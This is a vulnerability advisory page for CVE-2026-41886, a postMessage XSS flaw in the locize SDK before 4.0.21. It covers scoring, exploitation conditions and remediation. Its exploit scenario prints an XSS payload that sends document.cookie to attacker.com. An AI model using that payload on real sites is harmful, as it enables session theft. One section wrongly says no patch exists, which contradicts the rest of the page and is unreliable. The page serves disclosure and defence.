Skip to main content

locize SDK EUVDEUVD-2026-28796

| CVE-2026-41886 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 GitHub_M
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Establish window reference (iframe/opener)
  2. Delivery
    Send crafted postMessage with sender:"i18next-editor-frame"
  3. Exploit
    Trigger editKey handler with XSS payload
  4. Execution
    Execute arbitrary JavaScript in victim origin
  5. Impact
    Exfiltrate credentials or hijack API endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim application to load the locize client SDK version < 4.0.21 with InContext editor features initialized, AND establish a cross-origin window reference relationship with an attacker-controlled page through one of these vectors: (1) the victim application embedding an attacker-controlled iframe, (2) the attacker embedding the victim application in an iframe on their malicious page, (3) the victim page being opened via window.open from an attacker page (creating window.opener relationship), or (4) a parent frame controlled by the attacker that can postMessage into the victim application. The attack does NOT work against default configurations if the application avoids cross-origin frame relationships - required user interaction (CVSS UI:R) means victims must actively navigate to attacker pages or the application must integrate untrusted content. Limiting factors: the vulnerability only exists when the InContext editor module is loaded (not all locize SDK deployments enable this feature); the Changed scope (S:C) requires the host application to use the SDK in a context where XSS can escape into valuable security boundaries; and exploitation complexity is high (AC:H) because attackers must craft valid handler payloads that match the expected internal API structure (editKey requires specific item.node references, commitKeys expects translation key arrays).

Impact

The CVSS 7.5 (HIGH) score reflects Network attack vector, High complexity (requires window reference relationship), no privileges, Required user interaction (victim must visit attacker page or embed attacker content), and Changed scope with Low confidentiality, High integrity, and Low availability impact. Real-world risk is MODERATE despite the high CVSS score because exploitation requires the victim application to actively load the locize SDK AND establish a cross-origin window relationship (iframe embedding, window.open, or being embedded by attacker). The attack complexity is non-trivial - attackers must craft precise postMessage payloads mimicking the editor iframe protocol and target specific handler functions. EPSS data not provided, limiting probabilistic risk assessment. No CISA KEV listing indicates no confirmed widespread exploitation. The Changed scope (S:C) is justified as XSS allows escaping the security context of the locize SDK into the host application's origin. The High integrity impact reflects innerHTML-based script injection enabling full DOM manipulation and credential theft. Primary risk drivers are: (1) the SDK is deployed on production localization workflows where translation editors interact with sensitive application contexts, (2) XSS in translation tools can persist malicious content into localized strings, and (3) API hijacking via isLocizeEnabled handler leaks translation content to attacker-controlled endpoints. Mitigating factor: exploitation requires either the host application embedding untrusted iframes OR users clicking attacker-controlled links that window.open the victim page, limiting the attack surface to specific deployment patterns.

Exploit ScenarioDerived

An attacker creates a malicious webpage that embeds the victim's locize-enabled application in an iframe or tricks a user into clicking a link that opens the victim page via window.open, establishing a cross-origin window reference. The attacker's JavaScript sends a crafted postMessage with event.data.sender set to "i18next-editor-frame" (bypassing the pre-patch validation) and invokes the editKey handler with payload containing innerHTML: "<img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'>". The vulnerable SDK's handleEditKey function writes this payload directly to item.node.innerHTML without sanitizing, causing the browser to execute the attacker's JavaScript in the victim application's origin, exfiltrating session cookies or performing actions as the authenticated user. Alternatively, invoking isLocizeEnabled with malicious e.source/e.origin values redirects all subsequent translation API callbacks to the attacker's server, leaking localization content and metadata. The CVSS AC:H (High complexity) reflects the need for precise payload construction and window reference establishment, while UI:R indicates user interaction required to visit the attacker page or embed the victim application.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Cross-origin DOM XSS and handler hijacking in the locize client SDK (browser module) allows remote attackers to execute arbitrary JavaScript, steal translation content, and manipulate the InContext editor UI. Attackers exploit missing postMessage origin validation by crafting messages from any embedded iframe, opened window, or parent frame that shares a window reference with a locize-enabled page. The vulnerability affects all versions prior to 4.0.21, with the vendor confirming exploitation through multiple handler paths (editKey, commitKeys, isLocizeEnabled, requestPopupChanges). No public exploit identified at time of analysis, though the GitHub security advisory provides detailed exploitation vectors including innerHTML injection, attribute-based XSS (onclick, href="javascript:"), and API endpoint hijacking to intercept translation data.

RemediationAI

Upgrade the locize npm package to version 4.0.21 or later immediately using npm update locize or yarn upgrade locize, as documented in the release notes at https://github.com/locize/locize/releases/tag/v4.0.21. The patch commit d006b75fadb8e8ab77b023e462850fc6e9170735 (https://github.com/locize/locize/commit/d006b75fadb8e8ab77b023e462850fc6e9170735) implements mandatory event.origin validation against an allowlist of trusted editor origins before dispatching to internal handlers, blocking cross-origin postMessage attacks. If immediate upgrade is not feasible, implement defense-in-depth controls: (1) deploy Content Security Policy headers with script-src directives that block inline script execution and restrict script sources to trusted domains, mitigating XSS impact even if innerHTML injection occurs (trade-off: may break legitimate inline scripts in the application); (2) avoid embedding untrusted third-party content in iframes on pages that load the locize SDK, and validate all window.open calls to prevent establishing attacker-controlled window references (trade-off: limits certain integration patterns); (3) disable the InContext editor feature in production environments if not actively used for translation workflows, reducing the attack surface (trade-off: loses live editing capability). Note that CSP alone does not prevent API hijacking via isLocizeEnabled handler - upgrading to 4.0.21 is the only complete fix. Review application logs for unexpected postMessage activity patterns and audit translation content for injected scripts as forensic measures.

Affected VersionsENISA

locize < 4.0.21

Affected Packages

npm locize fix: 4.0.21

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The locize SDK is a browser-based JavaScript client for the locize localization platform's InContext editor feature, enabling live translation editing within web applications. The vulnerability stems from an insecure postMessage event listener in src/api/postMessage.js that validates event.data.sender (attacker-controlled payload data) instead of event.origin (browser-enforced source). This violates the Web Messaging API security model where origin validation is mandatory to prevent cross-origin attacks. The CWE-79 classification (Improper Neutralization of Input During Web Page Generation) applies because multiple handlers (editKey, commitKeys, requestPopupChanges) directly assign attacker-controlled payload values to DOM properties (innerHTML, setAttribute, style.setProperty) without sanitization. The affected component is the npm package 'locize' identified by CPE cpe:2.3:a:locize:locize:*:*:*:*:*:*:*:*, specifically versions below 4.0.21. The postMessage listener registers globally on window load, creating a persistent attack surface for any cross-origin context that can establish a window reference relationship.

Know when Locize gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

Lifecycle Timeline

2
Patch available
May 08, 2026 - 17:02 EUVD
CVE Published
May 08, 2026 - 15:45 nvd
HIGH 7.5

DescriptionGitHub Advisory

locize is a localization platform that connects code and i18n setup. Prior to version 4.0.21, the locize client SDK registers a window.addEventListener("message", …) handler that dispatches to registered internal handlers (editKey, commitKey, commitKeys, isLocizeEnabled, requestInitialize, …) without validating event.origin. The pre-patch listener in src/api/postMessage.js gates dispatch on event.data.sender === "i18next-editor-frame" - that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host - an iframe on a third-party page, a window.open-ed victim, a parent frame reaching down - could send a crafted postMessage and trigger the internal handlers. This issue has been patched in version 4.0.21.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 npm packages depend on locize (1 direct, 1 indirect)

Ecosystem-wide dependent count for version 4.0.21.

Executive ViewAI

Why It Matters

CVE-2026-41886 is a critical cross-origin vulnerability in the locize client SDK that allows attackers to execute arbitrary JavaScript and steal translation content through improperly validated postMessage handlers. Any organization using locize for translation management risks unauthorized access to sensitive content and UI manipulation affecting end users and content editors.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement Content Security Policy (CSP) with frame-ancestors directive to restrict embedding contexts; (2) Deploy Web Application Firewall rules to detect and block suspicious postMessage activity patterns; (3) Restrict locize SDK to internal/trusted pages only; (4) Disable InContext editor features in production until patch availability confirmed; (5) Monitor browser console for XSS attempts and implement CSP reporting endpoints; (6) Apply principle of least privilege to iframe sandbox attributes where locize is embedded.

Threat Intelligence Overview

EPSS Score
0.0%
Top 97% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy